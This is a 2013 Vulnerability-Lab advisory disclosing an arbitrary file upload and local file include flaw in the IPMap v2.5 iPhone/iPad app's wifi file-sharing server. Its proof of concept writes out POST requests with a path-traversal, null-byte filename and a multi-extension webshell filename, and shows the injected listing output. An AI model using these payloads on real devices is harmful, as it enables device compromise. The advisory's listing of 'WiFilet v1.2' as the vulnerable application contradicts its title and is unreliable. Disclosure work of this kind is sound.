198 lines
No EOL
7.6 KiB
Text
198 lines
No EOL
7.6 KiB
Text
Title:
|
||
======
|
||
IPMap v2.5 iPad iPhone - Arbitrary File Upload Web Vulnerabilities
|
||
|
||
|
||
Date:
|
||
=====
|
||
2013-02-18
|
||
|
||
|
||
References:
|
||
===========
|
||
http://www.vulnerability-lab.com/get_content.php?id=866
|
||
|
||
|
||
VL-ID:
|
||
=====
|
||
866
|
||
|
||
|
||
Common Vulnerability Scoring System:
|
||
====================================
|
||
6.3
|
||
|
||
|
||
Introduction:
|
||
=============
|
||
IPMap - IP Address Lookup Details & HTTP Wireless File Sharing with latest WorldWide IP database & FREE Monthly update.
|
||
Accuracy: Over 99.8% on a country level and 83% on a city level for the US within a 25 mile radius.
|
||
|
||
Features:
|
||
Auto Detect & Lookup
|
||
Your Real IP address
|
||
IP address Hostname
|
||
IP address Country Code
|
||
... ... ...
|
||
IP address Area Code
|
||
IP location Map
|
||
HTTP Wireless File Sharing
|
||
iTunes File Sync
|
||
Web Upload File Support
|
||
Customizable Background from your Photos Album
|
||
|
||
(Copy of the Homepage: https://itunes.apple.com/us/app/ipmap-ip-address-lookup-details/id416041538 )
|
||
|
||
|
||
Abstract:
|
||
=========
|
||
The Vulnerability Laboratory Research Team discovered an arbitrary file upload vulnerability in the mobile IPMap v2.5 app for the apple ipad & iphone.
|
||
|
||
|
||
Report-Timeline:
|
||
================
|
||
2013-02-18: Public Disclosure
|
||
|
||
|
||
Status:
|
||
========
|
||
Published
|
||
|
||
|
||
Affected Products:
|
||
==================
|
||
Apple AppStore
|
||
Product: IPMap - iPad iPhone 2.5
|
||
|
||
|
||
Exploitation-Technique:
|
||
=======================
|
||
Remote
|
||
|
||
|
||
Severity:
|
||
=========
|
||
Critical
|
||
|
||
|
||
Details:
|
||
========
|
||
A local file include and arbitrary file upload web vulnerability via POST request method is detected in the mobile IPMap v2.5 app
|
||
for the apple ipad & iphone. The vulnerability allows remote attackers via POST method to inject local app webserver folders to
|
||
request unauthorized local webserver files.
|
||
|
||
1.1
|
||
The main vulnerbility is located in the upload file script of the webserver (http://192.168.0.10:6123/) when processing to load a manipulated
|
||
filename via POST request method. The execution of the injected path or file request will occur when the attacker is watching the file index listing
|
||
of the wifi web application web-server.
|
||
|
||
1.2
|
||
Remote attackers can also unauthorized implement mobile webshells by using multiple file extensions (pentest.php.js.gif) when processing to
|
||
upload (submit) via POST request method. The attacker uploads a file with a double extension or multiple extensions and access the file in the
|
||
secound step via directory webserver dir listing to compromise the apple iphone or ipad.
|
||
|
||
Exploitation of the local file include web vulnerability does not require user interaction and also no privileged user account.
|
||
Successful exploitation of the web vulnerabilities results in app/service manipulation and ipad or iphone compromise via file
|
||
include or unauthorized file (webshell) upload attacks.
|
||
|
||
|
||
Vulnerable Application(s):
|
||
[+] WiFilet v1.2 - ITunes or AppStore (Apple)
|
||
|
||
Vulnerable Module(s):
|
||
[+] File Upload via Submit (Web Server) [Remote]
|
||
|
||
Vulnerable Parameter(s):
|
||
[+] file > filename
|
||
|
||
Affected Module(s):
|
||
[+] File Dir Index - Listing
|
||
|
||
|
||
Proof of Concept:
|
||
=================
|
||
Both vulnerabilities can be exploited by remote attackers without privileged application user account and also without required user interaction.
|
||
For demonstration or reproduce ...
|
||
|
||
1.1
|
||
PoC: (POST)
|
||
-----------------------------307341202725627
|
||
Content-Disposition: form-data; name="file"; filename="../../../../cmd>home>tmp%00<'.png"
|
||
Content-Type: image/png
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
|
||
|
||
Review: File Dir Listing
|
||
|
||
<html><head>
|
||
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"><title>IPMap</title>
|
||
<style>body { background-color:#f0f7fd; font-family:Tahoma,Arial,Helvetica,sans-serif;
|
||
font-size:18x; padding:15px; margin-left:15%; margin-right:15%; } </style></head><body>
|
||
<h2 style="background-color:#6897ff; margin:0; color:#fff; padding:5px 10px; border: 1px outset #aaa;border-bottom: 0px;">IPMap</h2>
|
||
<h4 style="background-color:#6897ff;margin:0; color:#fff; padding:0px 10px 8px 10px; border: 1px outset #aaa; border-top: 0px;">
|
||
The following files are hosted live from the iPhone's Docs folder.</h4><p><table style="text-align:center; border-color:#9bc0d2;
|
||
background:#f0f7fd; color:#4e697a; margin:0 auto;" border="1" cellpadding="0" cellspacing="0"><tbody><tr height="30"><td width="400">
|
||
<strong>File Name</strong></td><td width="400"><strong>File Info</strong></td></tr><tr height="30">
|
||
<td><a href="http://192.168.0.10:6123/../../../../cmd>home>tmp%00<'">%20%20%20%20&"><iframe src="../../../../cmd>home>tmp%00<'">%20%20%20%20&">
|
||
%20%20%20%20</a></td><td>(27.3 Kb, 2013-02-07 07:00:31 +0000)</td></tr></table></p><form action=""
|
||
method="post" enctype="multipart/form-data" name="form1"
|
||
id="form1"><table border="0" cellpadding="0" cellspacing="0"
|
||
style="text-align:center; margin:0 auto;"><tr
|
||
height="50"><td width="400"><label>upload file<input
|
||
type="file" name="file" id="file" /></label></td><td
|
||
width="400"><label><input type="submit" name="button"
|
||
id="button" value="Submit" /> <font size="-1">* Please do NOT
|
||
upload index.htm or
|
||
index.html</font></label></td></tr></table></form></body></html>
|
||
</iframe></a></td></tr></tbody></table></p></body></html>
|
||
|
||
|
||
1.2
|
||
PoC: (POST)
|
||
-----------------------------307341202725627
|
||
Content-Disposition: form-data; name="file"; filename="pentest.php.js.html.htm.xml.png"
|
||
Content-Type: image/gif
|
||
|
||
|
||
Reference(s):
|
||
http://192.168.0.10:6123/
|
||
|
||
|
||
Risk:
|
||
=====
|
||
The security risk of the arbitrary file upload web vulnerability via POST request method is estimated as critical.
|
||
|
||
|
||
Credits:
|
||
========
|
||
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)
|
||
|
||
|
||
Disclaimer:
|
||
===========
|
||
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
|
||
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
|
||
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
|
||
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
|
||
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
|
||
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
|
||
or trade with fraud/stolen material.
|
||
|
||
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
|
||
Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com
|
||
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
|
||
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
||
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
||
|
||
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
||
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
|
||
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
|
||
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
|
||
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.
|
||
|
||
Copyright <20> 2013 | Vulnerability Laboratory
|
||
|
||
--
|
||
VULNERABILITY RESEARCH LABORATORY
|
||
LABORATORY RESEARCH TEAM
|
||
CONTACT: research@vulnerability-lab.com |